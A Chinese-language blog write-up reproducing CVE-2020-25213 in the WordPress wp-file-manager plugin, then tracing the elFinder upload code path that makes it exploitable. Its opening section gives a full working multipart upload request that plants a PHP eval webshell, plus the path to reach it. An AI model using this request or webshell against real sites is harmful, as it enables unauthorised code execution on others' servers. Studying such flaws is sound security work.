WordPress wp-file-manager 文件上传漏洞 CVE-2020-25213

1.漏洞复现

WordPress 6.2

插件:wp-file-manager 6.0,File Manager (advanced view) – WordPress plugin | WordPress.org

复现

后台,安装、启动插件

前台,提交请求包:

POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 424
Content-Type: multipart/form-data; boundary=------------------------52d91370b674307b

--------------------------52d91370b674307b
Content-Disposition: form-data; name="cmd"

upload
--------------------------52d91370b674307b
Content-Disposition: form-data; name="target"

l1_
--------------------------52d91370b674307b
Content-Disposition: form-data; name="upload[]"; filename="shell.php"
Content-Type: application/octet-stream

<?php @eval($_POST[1]);?>
--------------------------52d91370b674307b--

访问一句话木马:http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/files/shell.php

2.逆向分析

从敏感函数逆向分析

elFinderVolumeLocalFileSystem类

敏感函数 copy 位于 elFinderVolumeLocalFileSystem类 的 _save方法

/wp-content/plugins/wp-file-manager/lib/php/elFinderVolumeLocalFileSystem.class.php

protected function _save($fp, $dir, $name, $stat)
{
  $path = $this->_joinPath($dir, $name);

  $meta = stream_get_meta_data($fp);
  $uri = isset($meta['uri']) ? $meta['uri'] : '';
  if ($uri && !preg_match('#^[a-zA-Z0-9]+://#', $uri) && !is_link($uri)) {
  ...
    if (($isCmdCopy || !rename($uri, $path)) && !copy($uri, $path)) {

$uri = $meta['uri'],$meta 取决于 $fp

<?php
// stream_get_meta_data语法示例
$fp = fopen('d:/flag.txt', 'r');
$meta = stream_get_meta_data($fp);
echo $meta['uri']; // d:/flag.txt

$path 是 $dir.$name 的拼接结果

这样如果 $fp 打开的一句话木马,并且 $path 为可访问 WEB路径,就可以 GetShell

elFinderVolumeDriver类

elFinderVolumeDriver类 的 saveCE方法 调用了 _save方法

protected function saveCE($fp, $dir, $name, $stat)
{
  $res = (!$this->encoding) ? $this->_save($fp, $dir, $name, $stat) : $this->convEncOut($this->_save($fp, $this->convEncIn($dir), $this->convEncIn($name), $this->convEncIn($stat)));

elFinderVolumeDriver类 的 upload方法 调用了 saveCE方法

public function upload($fp, $dst, $name, $tmpname, $hashes = array())
{
  ...
  $dstpath = $this->decode($dst);
  ...
  if (($path = $this->saveCE($fp, $dstpath, $name, $stat)) == false) {

$dstpath 和 $name 代表 copy 到的路径,$dstpath 取决于 $dst

查看 decode方法

protected function decode($hash)
{
  if (strpos($hash, $this->id) === 0) {
    ...
    return $this->abspathCE($path);
  }
  return '';
}

可以看出需要正确的 id 才能得到路径

elFinder类

在 elFinder类 的构造方法可以看到使用了 id

public function __construct($opts)
{
  ...
  if ($volume->mount($o)) {
  $id = $volume->id();

在下面添加:

ob_end_flush();
var_dump($id);

直接访问 http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php 可以看到响应的 id

string(3) "l1_"
string(3) "t1_"
{"error":["errUnknownCmd"]}

其中 l1_ 是可以用的,也就是 $dst 要为 l1_

elFinder类

elFinderVolumeLocalFileSystem类 是 elFinderVolumeDriver类 的子类

elFinder类 的 upload方法 利用 elFinderVolumeLocalFileSystem类对象 调用了 elFinderVolumeDriver类 的 upload方法

protected function upload($args)
{
  ...
  if (!$_target || ($file = $volume->upload($fp, $_target, $name, $tmpname, ($_target === $target) ? $hashes : array())) === false) {

其中 $volume 就是 elFinderVolumeLocalFileSystem类对象,怎么知道的呢,看构造方法

public function __construct($opts)
{
  ...
  $volume = new $class();

在下面添加:

ob_end_flush();
var_dump($volume);

直接访问 http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php 可以看到响应的对象

object(elFinderVolumeLocalFileSystem)#4 (61) {
...

再看 elFinder类 的 upload方法 是如何得到 elFinderVolumeDriver类 的 upload方法 的参数的

protected function upload($args)
{
  ...
  $target = $args['target'];
  ...
  $files = isset($args['FILES']['upload']) && is_array($args['FILES']['upload']) ? $args['FILES']['upload'] : array();
  ...
  foreach ($files['name'] as $i => $name) {
    ...
    $tmpname = $files['tmp_name'][$i];
    ...
    if (!is_file($tmpname) || ($fp = fopen($tmpname, 'rb')) === false) {
    ...
    if (!$_target || ($file = $volume->upload($fp, $_target, $name, $tmpname, ($_target === $target) ? $hashes : array())) === false) {

可以看出来都存在 $args 中

elFinder类 的 exec方法 可以调用 elFinder类 的 upload方法

public function exec($cmd, $args)
{
  $result = $this->$cmd($args);

如果 $cmd 为 upload,exec方法 就调用 elFinder类 的 upload方法 了

elFinderConnector类

elFinderConnector类 的 run方法 调用了 exec方法

public function run()
{
  ...
  $src = $isPost ? array_merge($_GET, $_POST) : $_GET;
  ...
  $cmd = isset($src['cmd']) ? $src['cmd'] : '';
  ...
  foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) {
    ...
    $arg = isset($src[$name]) ? $src[$name] : '';
    ...
    $args[$name] = $arg;
  }
  ...
  $args['FILES'] = $_FILES;
  ...
  $this->output($this->elFinder->exec($cmd, $args));

可以看出来 POST请求 cmd 为 upload,就会调用 elFinder类 的 upload方法

当同时上传文件时,$args['FILES'] 将存储上传的文件的信息

elFinder类

在 elFinder类 可以看到 commandArgsList方法

protected $commands = array(
  ...
  'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false, 'upload' => false, 'name' => false, 'upload_path' => false, 'chunk' => false, 'cid' => false, 'node' => false, 'renames' => false, 'hashes' => false, 'suffix' => false, 'mtime' => false, 'overwrite' => false, 'contentSaveId' => false),
  ...

public function commandArgsList($cmd)
{
  if ($this->commandExists($cmd)) {
    $list = $this->commands[$cmd];
    $list['reqid'] = false;
  } else {
    $list = array();
  }
  return $list;
}

思路回到 elFinderConnector类

可以看出来当 POST 请求 cmd 为 upload 并且 target 为 l1_ 时,$args['target'] 将等于 l1_

array(18) {
  ["target"]=>
  string(3) "l1_"
  ...
  ["FILES"]=>
  array(1) {
    ["upload"]=>
    array(5) {
      ["name"]=>
      array(1) {
        [0]=>
        string(9) "shell.php"
      }
      ...
      ["tmp_name"]=>
      array(1) {
        [0]=>
        string(22) "C:\Windows\php147A.tmp"

思路回到 elFinderVolumeLocalFileSystem类

可以看出来当 POST 请求 cmd 为 upload 并且 target 为 l1_ 并且 上传文件 时,copy函数 会将临时文件 保存到 $path 路径

connector.minimal.php

connector.minimal.php 调用了 run方法

$connector = new elFinderConnector(new elFinder($opts));
$connector->run();

elFinderVolumeLocalFileSystem类

在 $path = $this->_joinPath($dir, $name); 下面添加:

ob_end_flush();
var_dump($path);

提交复现中的请求包,可以看到响应的一句话木马路径:.../wp-content/plugins/wp-file-manager/lib/files/shell.php

posted @ 2023-04-26 23:36  Hacker&Cat  阅读(730)  评论(0编辑  收藏  举报